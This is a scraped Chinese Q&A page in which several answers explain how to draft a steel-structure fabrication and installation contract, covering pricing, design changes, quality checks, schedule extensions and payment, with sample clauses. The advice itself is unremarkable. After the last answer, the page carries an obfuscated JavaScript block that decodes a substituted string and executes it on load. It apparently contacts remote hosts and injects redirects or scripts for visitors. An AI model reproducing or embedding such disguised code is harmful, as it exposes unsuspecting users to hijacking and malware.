钢结构怎么写协议

2025-03-11 01:20:26
推荐回答(4个)
回答1:

  就是钢结构工程承发包合同,内容、工程量、进度、质量、安全、付款方式、保修等方面。
  钢结构是主要由钢制材料组成的结构,是主要的建筑结构类型之一。结构主要由型钢和钢板等制成的钢梁、钢柱、钢桁架等构件组成,各构件或部件之间通常采用焊缝、螺栓或铆钉连接。因其自重较轻,且施工简便,广泛应用于大型厂房、场馆、超高层等领域。

回答2:

就是钢结构工程承发包合同,内容、工程量、进度、质量、安全、付款方式、保修等方面。

回答3:

上百度找文库,里面什么资料都可以找到

回答4:

钢结构加工制作合同,和一般的加工承揽合同非常近似。但钢结构工程构件的加工制作合同,又是非常特殊的定制式合同。具有以下的特点:
1、合同所有构件的设计和加工,除少数标准件以外,都是按照每个工程的需要而单独定制加工的。因此一旦出现返工或者重作,对加工企业造成的损失是巨大的。
2、钢构件的数量和设计,也是根据工程要求和工程进度来安排的。往往是在工程安装过程中,又需要变更设计,或者增减构件的设计内容。为了防止因设计变更造成已制作的构件报废的情况,需要在合同中对此事先予以约定。
3、甲方或者设计单位也往往只是提供加工单位蓝图,构件详图的设计还需要加工单位的设计人员完成,还有时加工单位需要根据设计院或者甲方的指令,临时变更和另行设计构件。因此钢结构制作安装合同中,还常常含有设计的内容。
4、构件的检测,包括出厂抽检和现场到货检测,检测人员既包括甲方驻厂代表、现场项目经理,还包括合同指定的工程监理,检验标准也远远高于一般的加工承揽合同的验收标准。
5、制作工期一般较短。在北方,还因为气候的原因,钢结构工程的开工时间集中在夏秋季节,不同加工制作合同的工期往往出现集中和交叉的情况,因此钢结构加工企业安排好加工调度,利用安装工程的工期顺延为加工合同创造工期是极有必要的。

根据以上特点, 加工制作合同需要注意以下的签约要点:
(一)合同价格
钢结构制作安装合同与加工制作合同的价格形式相同,只是制作安装合同价格中增加了安装费用。价格包括以下几类:
1、 固定总价――闭口价(不包括风险范围)
2、 固定合同价+追加合同价款+国家定额费率(包括风险范围)
3、 合同成本加劳务费
固定合同价格又分为以下两种
1) 固定单价(仅仅包括加工制作费用,不包括材料、涂装、运输、税金等费用,其他费用需要另行约定结算)
2) 综合单价(含原、辅材料(含油漆)费用、检测费、资料费、加工费、油漆涂装费、税金、管理费、利润等,运输费等,并可根据实际市场价格进行结算)
常见的价格为固定综合单价。
4、 对风险范围的说明:
合同报价表是合同中约定的风险范围,在风险范围以内的,价格不再发生变动;在价格风险范围外的,应约定调整价格的方法。另外,应考虑到在国家调整价格钢材出现差价时合同价格的调整情况。因为钢材价格的涨跌也是需要考虑的风险范围,否则就可能出现因钢材价格的上扬导致利润损失的情况。

※ 材料差价调整条款示例:
本工程材料差价的处理办法:
如遇金融风波影响、市场价格变化,国家货币贬值造成通货膨胀,材料提供方应在情况发生后10天内及时将调整原因、涉及调整的金额等以书面形式通知对方,对方应在十四天内与材料供应方进行协商,在收到供应方通知后10天内既不提出意见也不予确认的,视为同意材料价格的调整。

(二)设计变更
钢结构制作安装合同中设计变更部分,基本与钢结构制作合同的设计变更涉及的内容相同,因此,设计变更部分的签约要点也主要涉及到三种问题:
1)制作开工期限是按期还是顺延的矛盾
2)有限的工期与增加加工量、等待新设计变更周期的矛盾
3)已完成构件因设计变更需要返工时,甲方是否同意价格调整的矛盾。
如果合同上没有对上述风险的约定,甲方往往不会主动确认因其调整而造成加工方相应合同内容的改变。为此,应对设计变更及涉及到的合同价格、工期调整情况进行约定。市场部在签约谈判时,必要时需要安排有关技术人员到场对此进行把握,控制由于设计变更发生的风险。
※ 设计变更内容的条款示例
一、本合同定做构件全部由定做方进行设计,并出具有关技术要求和技术标准。
二、定做方正式提供的设计制造图纸、说明和有关技术资料,是制造的有效依据,定做方有履行组织设计交底和三方汇审做出纪要的义务,作为制做的补充依据,双方均不得擅自修改。
三、制作中如发现设计的错误或严重不合理的地方,发现方应及时以书面形式通知对方,由提供设计图纸方及时会同设计等有关单位研究确定修改意见或变更设计文件,承揽方按修改或变更的设计文件进行制作。
四、在定做方已确认设计图纸并符合定做方技术要求及设计标准的前提下,优化设计、优化工艺、其节约的价值归承揽方,投标方案中的报价书对确认后的设计不发生效力。
※ 设计变更后相关责任的条款示例
因定做方变更设计条件或提出变更设计的,由定做方承担下列费用和责任:
1. 设计工作量增加的,追加相应设计费;
2. 材料设备增加的,追加材料设备款;
3. 工程量增加的,追加合同价款;
4. 造成承揽方构件制作和安装的返工、停工或材料积压的,赔偿损失;
5. 造成工期延误的,工期顺延。
※ 设计变更涉及到的合同加工量、价款的调整及确认条款示例
工程设计变更确定后14天内,设计变更涉及价款调整的,由承包方向发包方发出书面通知,经发包方审核同意后调整合同价格。变更合同价款按以下标准:
1.合同中已有适用于变更制作的价格的,按合同约定变更;
2.合同中有类似于变更制作的价格,参照类似价格变更;
3.合同中没有适用或者类似变更的价格,参照发包方或者承包方提出的变更价格,经双方共同确认后执行。
发包方收到变更合同价款报告14天内,应就合同价款调整提出确认意见,既未确认也未提出协商意见的,视为变更价款报告已被确认。

(三)质量验收
质量条款应包括三个内容:1、对加工材料质量的要求2、对制作质量的要求3、对保修的要求。由于质量条款是结算的前提,因此必须对以上三方面进行约定,以避免因材料质量、加工质量、保修上发生争议,影响结算。
对加工质量,应在以下几方面进行约定:
1、 材料的提供及要求
2、 制作质量的要求
3、 现场验收、出厂验收
4、 设计变更和返工后责任的归属
5、 保修期限
对质保期,一般宜约定为发货完毕之日到安装完毕之日,以免质保期按照惯例视为一年,质保金难以收回的情况。

※ 材料提供及要求合同条款示例:
示例1:原材料的提供办法及规格、数量、质量
1) 用承揽方原料完成加工工作,承揽方必须依照合同规定选用原材料,并提供原材料质量保证书、油漆质量保证书、产品合格证等以接受定作方检验。承揽方隐瞒原材料的缺陷或者用不符合合同规定的原材料而影响定作质量时,定作方有权要求重作、修理、减少价款或退货。
2) 原材料采购单价按月由定做方审核确定。

※ 制作质量要求的合同条款示例:
示例1:制造技术要求:以发包方提供的图纸及技术说明文件为准,本款所涉及的技术文件自本合同生效之日起3天以内由发包方交付给承揽方,并在随后的15日之内进行技术对接和技术交底,同时在完成技术对接和交底后双方会签技术会审纪要作为本合同的附件,与本合同同时生效。

※ 现场验收、出厂验收条款示例
示例1:
质量检验
1. 定作物在发货前五天,定作方的驻厂工程师应对承揽方制造的构件进行检验,合格的应签发《发运通知书》,批准发运;
2. 质检标准按《GB50205-2001》标准及双方认可的质量文件、图纸进行检验;
3.如定做方驻厂工程师未及时对承揽方制造的构件进行检验的,本合同制作工期予以顺延。

(四)工期及工期顺延
钢结构加工期限与钢结构施工工期密切相关,影响工期的主要因素有
1、钢结构设计的临时变更
2、对已完成的钢构件的返工
3、甲方检验人员签证的延后
4、双方就加工内容中途进行商洽
5、甲方延期付款、不可抗力
6、其他约定工期顺延条件等。
因此对于工期的顺延应有专款加以约定,否则因非承揽方原因造成的加工期限延误都将归于承揽方工期上,而对于因设计变更造成返工、未按期支付加工款的工期顺延,应约定可以不经过甲方确认。
另外,在设计变更、质量检验等条款中,也应有工期顺延的约定。
而工期顺延得以实现,不仅仅靠合同的约定内容,而且靠承揽方主张权利,如果存在顺延情况但是承揽方不主张顺延权利,工期仍不能实现顺延。而工期控制的主要角色,是工程部和生产部在履约中发挥作用,市场部、合约部应为工程部履约时能主张合理的工期创造条件。

※ 工期及工期顺延情形示例
一、本合同的总工期自定做方批准承揽方的《构件制造开工报告》之日第二天起,至构件发运完毕止共 工作日。
二、在下列情况下,作制造开工时间推迟:
1、因开工前因设计变更致使制造材料、制造设备必须变更的,则制造、开工推迟;
2、需要重新制作的,原已完成制作的构件定做方应无条件收购,给承揽方造成损失的,赔偿承包人的损失,开工时间推迟;
三、下列情形下总工期顺延:
1.制造开工后设计变更,导致构件、围护钢品材料报废,制造进行中改变安装工艺,导致返工,制造进行中变更材料、辅料,变更门窗致围护、门窗重做的,工期按实际发生的期间顺延,同时承担第七条第五款之责任;
2.因驻工厂代表签证不及时,自驻工厂代表或监理工程师应签证之日起到实际完成签证止,作工期顺延;
3.未能按合同约定及时、足额支付货款或代购材料款、差价款的,自应付款之日起,到实际足额付达之日止,作工期双倍顺延;
4.因人力不可抗拒因素而延误工期及国家强制性技术规程要求停止制造的,自规定的情形发生至该情形消除,作总工期顺延;
5.合同、补充协议、双方达成的会商(会议)纪要并法律、法规规定其他可以顺延或停工的,工期按实际顺延期间或实际停工期间作总工期顺延。
四、双方代表及监理工程师认为有必要暂停制造的,在书面告知对方后,可以暂停,双方代表在收到暂停施工的通知后12小时内必须做出是否同意停工的答复,逾期则视为同意对方暂停制造的要求。
五、定做方代表或监理工程师认为停工的因素消除应予复工的,必须书面通知对方,被通知方在 12 小时内不回复的,可以复工。
六、终止制造的,双方另具中止制造协议就制造量、工期、中止方案达成一致,结清全部货款后,可以中止制造。
七、本条款所规定的制造开工日推迟及工期顺延的情形一经发生后,则承揽方代表应在48小时内以书面形式予告知定做方,定做方代表签证后,即可作为工期延误的计算依据,没有具体主张的按本条约定给予工期顺延。本条第三款第 1、3项的情形不在此列。

(五)工程进度款的支付
结算及付款包括以下几部分的款项支付及结算:
1、定金的交付
2、已发运构件的结算付款(包括分批的结算付款或者全部发运完毕后总结算付款)
3、质保金的支付
4、承揽方垫付资金部分利息的补偿
此外,还应包括增加工程量的结算、风险范围以外合同价款的结算。该部分的结算方法详见设计变更及合同价款部分。

※ 工程进度款支付的示例
示例:
一、货款支付为银行即期汇票
1. 本合同生效后天内,定做方支付定金??元
2. 承揽方在年日前发运完毕全部构件的,承揽方支付?元构件价款总额。承揽方未在?年?月?日前发运完毕全部构件的,定做方按实际已发运的构件货款总额支付,余款在承揽方发送完毕所有构件后付清。风险范围以外的制作费用,按本条第三款约定内容办理。
3. 定做方承担除定金以外的垫付货款利息,按中国人民银行公布的贷款基本利息上浮3个点。
4. 保修金为合同总价的0.2%,保修期满后 7 天内一次性支付;
二、前述合同总价系指合同签订时确定的总造价,如总造价在合同履行中按约定作增减时,其各付款阶段应支付款额的比例不变,支付金额作相应增减;

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();